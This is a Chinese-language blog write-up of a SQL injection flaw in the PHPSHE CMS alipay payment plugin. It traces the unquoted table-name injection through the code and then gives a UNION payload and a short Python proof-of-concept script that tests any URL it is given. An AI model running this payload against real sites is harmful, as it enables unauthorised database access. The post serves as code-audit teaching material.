PHPSHE漏洞分析

Admin 2020-03-05 222人围观 ,发现0个评论 PHPSHE漏洞分析

PHPSHE漏洞分析 Web安全 第1张

此CMS  SQL注入漏洞产生原因为未将经过 addslashes() 函数过滤的数据使用单引号包裹,从而导致的SQL注入漏洞。接下来看漏洞详情:

首先查看phpshe下的common.php文件37~44行:

PHPSHE漏洞分析 Web安全 第2张

 

上述代码可以看到,将获取到的GET  POST 数据加上前缀'_g',然后再看pe_stripslashes函数:

PHPSHE漏洞分析 Web安全 第3张

可以看到$_GET不为空的情况下,将字符串经过 stripslashes 函数去除反斜线。

然后在查看一下防止SQL注入的函数pe_dbhold:

 PHPSHE漏洞分析 Web安全 第4张

可以看到此过滤是将字符串经过addslashes()函数过滤,然后要注入的话则有2种情况:

  1、可控数据未经过单引号包裹 

  2、宽字节注入

然后查看此文件:include/plugin/payment/alipay/pay.php第34~35行:

PHPSHE漏洞分析 Web安全 第5张

此处可以看到,将可控数据进过pe_dbhold函数过滤后引入order_table函数:

PHPSHE漏洞分析 Web安全 第6张

 此函数是查看 $id 中有无 '_' 有的话取第一个元素,否则返回 'order',此处可以看到次函数返回值可控,然后跟进 pe_select 函数:

PHPSHE漏洞分析 Web安全 第7张

此函数中 $table 变量可控,并且带入SQL语句之中并无单引号包裹,从而产生SQL注入。

由于order_table()函数返回值为 order_{$id_arr[0]},所以需要在数据库中找到数据库名包含 'order_' 的表,发现有且只有一个表:pe_order_pay

于是构造payload:pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_

 

 

PHPSHE漏洞分析 Web安全 第8张

此处放上漏洞POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
 
url = input("please input url:")
pro1 = "http://"
pro2 = "https://"
if pro1 or pro2 in url:
    pass
else:
    print("please input the correct URL")
headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language":"n-US,en;q=0.5"
 
}
payload = url + "/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,1314520,4,5,6,7,8,9,10,11,12%23_"
response = requests.get(payload,headers)
creden = '1314520'
if creden in response.text:
    print("you can hack!!!")
    print("payload is : " + payload)
else:
    print("The website is secure")

该漏洞可用于初学代码审计,具体利用则异常鸡肋,由于过滤单引号,并且在payload中不能出现下划线,导致无法查出数据库中的大部分数据,不过权限够高的话,可以直接getshell。


请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客